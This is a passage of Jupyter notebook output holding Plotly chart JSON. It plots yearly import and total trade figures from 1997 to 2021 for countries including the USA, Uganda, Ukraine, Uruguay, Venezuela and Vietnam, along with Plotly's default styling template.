1418.46, - 2463.71, - 2657.47, - 1804.75, - 2238.99, - 1751.1, - 2481.47, - 2355.97, - 2341.03, - 2060.79, - 2139.86, - 1980.11 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.12, - 1.9, - 2.04, - 2.89, - 3.52, - 4.66, - 10.22, - 4.05, - 4.04, - 7.29, - 13.14, - 14.73, - 16.04, - 17.32, - 31.43, - 24.41, - 20.42, - 20.35, - 17.71, - 13.45, - 24.98, - 42.96, - 57.24, - 163.59, - 120.22 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.71, - 1.67, - 12.97, - 10.58, - 17.27, - 20.54, - 27.7, - 31.46, - 26.13, - 33.91, - 16.2, - 70.74, - 29.97, - 20.63, - 37.04, - 31.85, - 31.5, - 55.86, - 45.26, - 46.54, - 101.67, - 126.73, - 66.85, - 14.94, - 18.4 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 7.29, - 29.18, - 0.04, - 4.45, - 13.63, - 0.2, - 48.1, - 9.35, - 1.05, - 6.94, - 2.27, - 0.07, - 0, - 5.37, - 0, - 0.01, - 0.29, - 0, - 0, - 0, - 0.26, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.77, - 6.6, - 2.57, - 14.44, - 2.58, - 3.71, - 2.51, - 4.02, - 9.55, - 748.9, - 389.91, - 4217.05, - 2885.76, - 5209.96, - 6666.9, - 14117.67, - 13940.13, - 11729.89, - 5701.81, - 5512.06, - 5866.37, - 7258.95, - 6057.01, - 714.24, - 52.66 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.73, - 9.14, - 11.52, - 12.39, - 18.91, - 29.18, - 38.21, - 86.5, - 131.39, - 167.38, - 173.68, - 408.66, - 521.81, - 1064.9, - 1722.87, - 2314.78, - 2594.25, - 3003.35, - 2560.39, - 3320.56, - 5018.55, - 7192.23, - 7283.42, - 6120.66, - 5075.21 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.01, - 0, - 0, - 0.84, - 9.39, - 0.12, - 0.07, - 0.37, - 0.09, - 2.18, - 1.54, - 2.47, - 0.34, - 0.09, - 0.4, - 2.26, - 0.6, - 1.08, - 4.53, - 0.28, - 0.76, - 7.5, - 0.09, - 0.39 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0, - 3.97, - 5.21, - 5.23, - 8.38, - 12.64, - 18.18, - 27.29, - 45.96, - 63.18, - 49.76, - 56.55, - 76.09, - 76.61, - 75.18, - 71.37, - 61.48, - 55.07, - 64.41, - 65.38, - 58.67, - 62.27, - 61.55 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 3.97, - 5.21, - 5.23, - 8.38, - 12.64, - 18.18, - 27.29, - 45.96, - 63.18, - 49.76, - 56.55, - 76.09, - 76.61, - 75.18, - 71.37, - 61.48, - 55.07, - 64.41, - 65.38, - 58.67, - 62.27, - 61.55 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10449.58, - 10839.84, - 11955.83, - 12320.12, - 11662.96, - 15339.34, - 16524.86, - 20767.1, - 26807.8, - 30601.71, - 41798.58, - 39710.95, - 36509.17, - 45342.63, - 58196.52, - 61359.95, - 61647.19, - 64263.26, - 62117.39, - 64519.71, - 74489.51, - 87955.76, - 88908.65, - 80511.24, - 87130.39 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.51, - 45.15, - 41.33, - 48.3, - 56.79, - 67.84, - 89.78, - 82.58, - 95.48, - 112.1, - 168.92, - 237.11, - 220.31, - 306.44, - 453.3, - 492.4, - 563.76, - 591.61, - 615.46, - 563.41, - 588.47, - 603.14, - 655.5, - 708.91, - 577.31 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 240.43, - 170.21, - 195, - 201.05, - 247.93, - 288.65, - 345.41, - 746.4, - 1050.58, - 1286.57, - 1283.54, - 1938.83, - 1882.55, - 1932.73, - 2954.93, - 3177.26, - 2286.01, - 2587.89, - 2010.21, - 2791.63, - 2686.07, - 2731.82, - 2524.6, - 2590.83, - 2352.34 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 37.11, - 38.4, - 28.57, - 38.6, - 29.45, - 21.55, - 29.69, - 28.56, - 31.97, - 44.26, - 63.9, - 80.28, - 64.37, - 102.66, - 172.11, - 167.6, - 181.4, - 228.68, - 170.62, - 201.25, - 184.43, - 223.95, - 204.93, - 268.3, - 238.04 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.3, - 14.5, - 22.91, - 19.98, - 23.8, - 25.62, - 42.84, - 52.81, - 50.57, - 63.6, - 56.52, - 116.27, - 84, - 81.05, - 126.43, - 156.75, - 145.56, - 226.31, - 139.89, - 155.51, - 234.39, - 328.14, - 247.06, - 295.01, - 218.77 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 7.47, - 35.77, - 0.15, - 4.59, - 14.16, - 1.86, - 49.93, - 11.6, - 3.2, - 11.93, - 0, - 2.56, - 0, - 8.8, - 0, - 1.87, - 2.31, - 0, - 2.27, - 0, - 2.67, - 2.27, - 0 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 29.45, - 32.93, - 25.91, - 56.73, - 58.13, - 44.25, - 23.64, - 75.99, - 103.96, - 874.97, - 532.7, - 4401.56, - 3069.72, - 5385.96, - 6916.62, - 14351.81, - 14137.09, - 11987.96, - 5832.47, - 5574.28, - 5945.58, - 7423.72, - 6396.72, - 1271.33, - 338.87 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 135.34, - 134.57, - 165.89, - 238.3, - 237.09, - 366.57, - 448.65, - 642.46, - 822.06, - 1153.07, - 1783.77, - 2147.31, - 2360.76, - 3716.34, - 5441.96, - 6282.15, - 8036.19, - 9261.23, - 7826.38, - 10107.12, - 12831.64, - 13699.61, - 12343.32, - 11120.3, - 10181.09 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.33, - 0, - 0, - 4.04, - 10.36, - 1.04, - 1.62, - 1, - 1.67, - 3.32, - 2.87, - 6.68, - 1.67, - 3.81, - 1.83, - 6.16, - 5.42, - 5.31, - 9.86, - 3.16, - 43.26, - 88.9, - 75.05, - 3.93 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - 